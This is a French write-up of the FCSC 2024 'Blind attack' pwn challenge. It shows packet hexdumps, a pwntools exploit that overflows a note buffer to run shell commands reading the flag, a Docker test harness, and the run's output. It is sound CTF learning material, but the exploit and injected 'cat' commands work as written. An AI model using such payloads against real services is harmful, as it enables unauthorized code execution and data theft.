En regardant les paquets dans lesquels un flag a été sorti, nous voyons qu’en envoyant un paquet de données spécialement formaté lors de la création d’une nouvelle note il est possible de passer une commande shell arbitraire et de lire un flag.
00000000 5b 6e 5d 65 77 20 6e 6f 74 65 2e 0a 5b 72 5d 65 |[n]ew note..[r]e|
00000010 74 72 69 65 76 65 20 6e 6f 74 65 20 73 75 6d 6d |trieve note summ|
00000020 61 72 79 2e 0a |ary..|
00000025
00000000 6e 0a |n.|
00000002
00000000 5b 2a 5d 20 43 75 72 72 65 6e 74 20 73 65 73 73 |[*] Current sess|
00000010 69 6f 6e 3a 20 2f 66 63 73 63 2f 48 78 41 45 35 |ion: /fcsc/HxAE5|
00000020 76 58 61 44 76 42 77 77 67 61 57 73 74 32 41 72 |vXaDvBwwgaWst2Ar|
00000030 64 70 38 44 73 77 37 47 78 43 2f 74 41 78 39 71 |dp8Dsw7GxC/tAx9q|
00000040 4d 48 38 41 5a 33 38 75 34 47 57 4d 71 72 73 4d |MH8AZ38u4GWMqrsM|
00000050 41 56 79 32 57 50 39 64 37 65 0a 43 6f 6e 74 65 |AVy2WP9d7e.Conte|
00000060 6e 74 3a 20 0a |nt: .|
00000065
00000000 61 68 6b 64 67 4f 30 66 62 69 66 6b 71 4c 73 54 |ahkdgO0fbifkqLsT|
00000010 36 79 43 75 79 63 30 30 33 47 74 45 6e 33 4e 4d |6yCuyc003GtEn3NM|
00000020 54 38 4e 4c 35 70 76 72 50 37 32 33 7a 4f 6c 47 |T8NL5pvrP723zOlG|
00000030 47 42 79 6b 43 37 50 6c 6b 59 4d 37 76 7a 6b 57 |GBykC7PlkYM7vzkW|
00000040 54 71 69 66 30 6a 42 46 69 36 6a 71 33 69 4e 71 |Tqif0jBFi6jq3iNq|
00000050 61 74 31 43 35 79 35 49 67 4d 71 6d 6c 55 52 38 |at1C5y5IgMqmlUR8|
00000060 32 32 42 39 4f 5a 72 79 44 67 70 65 46 59 73 34 |22B9OZryDgpeFYs4|
00000070 42 7a 44 4f 7a 75 45 34 34 70 72 46 36 42 68 49 |BzDOzuE44prF6BhI|
00000080 4f 78 4d 73 6b 37 6c 54 69 78 36 6f 35 52 47 67 |OxMsk7lTix6o5RGg|
00000090 6d 65 71 36 4c 6d 6d 74 4f 48 79 34 4c 52 32 34 |meq6LmmtOHy4LR24|
000000a0 58 38 4c 54 31 30 76 33 59 6d 35 35 56 59 6f 66 |X8LT10v3Ym55VYof|
000000b0 52 50 77 59 41 79 6c 75 43 41 55 6c 52 42 41 71 |RPwYAyluCAUlRBAq|
000000c0 4d 78 4e 4b 51 56 37 4b 32 65 47 72 63 73 44 48 |MxNKQV7K2eGrcsDH|
000000d0 4b 72 51 6f 70 7a 62 64 4c 6f 6c 64 4b 71 61 7a |KrQopzbdLoldKqaz|
000000e0 6b 4f 33 36 6a 66 64 6e e5 16 40 00 00 00 00 00 |kO36jfdn..@.....|
000000f0 0a |.|
000000f1
00000000 63 61 74 20 2f 66 63 73 63 2f 73 62 70 65 66 6e |cat /fcsc/sbpefn|
00000010 55 45 70 78 61 37 79 71 46 77 57 4a 67 55 34 33 |UEpxa7yqFwWJgU43|
00000020 70 64 68 73 36 6a 41 32 50 2f 2a 20 7c 20 62 61 |pdhs6jA2P/* | ba|
00000030 73 65 36 34 20 7c 20 74 72 20 2d 64 20 27 5c 6e |se64 | tr -d '\n|
00000040 27 0a |'.|
00000042
Ceci nous donne le programme suivant:
#!/usr/bin/python3
from pwn import *
EXPLOIT = bytes.fromhex(\
'4a 74 42 6a 78 5a 4d 32 73 46 5a 4d 6f 47 65 39' + \
'7a 31 6a 65 4f 53 73 78 34 51 73 38 7a 49 5a 69' + \
'65 37 65 45 5a 53 54 51 58 66 65 73 47 75 6f 68' + \
'79 58 79 55 46 76 30 5a 70 56 67 59 51 63 48 6a' + \
'79 4f 6b 31 6f 75 78 69 6a 42 6f 78 4b 6a 74 69' + \
'66 44 4e 65 6d 59 54 38 57 6a 6a 61 53 4c 51 48' + \
'6c 30 42 76 78 36 71 38 49 41 5a 44 4c 44 73 4e' + \
'4f 34 45 6e 66 4e 45 55 67 39 57 30 4c 49 31 50' + \
'65 72 36 6d 70 4b 67 43 37 6b 53 6a 6c 34 48 67' + \
'34 39 5a 58 33 50 78 66 44 32 6c 49 64 51 6b 41' + \
'6f 56 51 57 43 63 64 64 78 30 68 71 32 65 68 6b' + \
'59 39 63 37 48 41 7a 36 72 70 42 30 41 6a 56 4b' + \
'61 55 66 71 32 32 4f 54 69 79 79 4d 4b 72 77 33' + \
'6f 7a 6f 31 4e 74 6a 56 6a 4e 44 6e 69 5a 44 6b' + \
'34 56 71 47 64 37 78 4b e5 16 40 00 00 00 00 00' + \
'0a')
conn = remote('localhost',4000)
conn.recvuntil(b'summary.\n', drop=True)
conn.sendline(b'n')
conn.recvline()
conn.recvline()
conn.send(EXPLOIT + b'cat /fcsc/ddJ565eGcAPFVkHZZFqXtrYe2vmVUQv/*' + bytes.fromhex('0a'))
x = conn.recvlinesS(timeout=1)
for l in x:
print(l)
conn.close()
Nous utilisons le script suivant pour synchroniser les opérations et réaliser notre test, nous utilisons commande nc
pour attendre le temps nécessaire pour laisser au container le temps de démarrer:
#!/bin/bash
set -e
if [ ! -f docker-compose.yml ]; then
wget https://hackropole.fr/challenges/fcsc2024-pwn-blind-attack/docker-compose.public.yml -O docker-compose.yml
fi
docker-compose up -d
while ! nc -z localhost 4000; do sleep 1; done
python3 007_Blind_attack.py
docker-compose down
Le résultat est le suivant:
Creating network "007_blind_attack_default" with the default driver
Creating 007_blind_attack_shovel_1 ... done
Creating 007_blind_attack_blind-attack_1 ... done
[+] Opening connection to localhost on port 4000: Done
FCSC_xxxxxxxx
[*] Closed connection to localhost port 4000
Stopping 007_blind_attack_shovel_1 ... done
Stopping 007_blind_attack_blind-attack_1 ... done
Removing 007_blind_attack_shovel_1 ... done
Removing 007_blind_attack_blind-attack_1 ... done
Removing network 007_blind_attack_default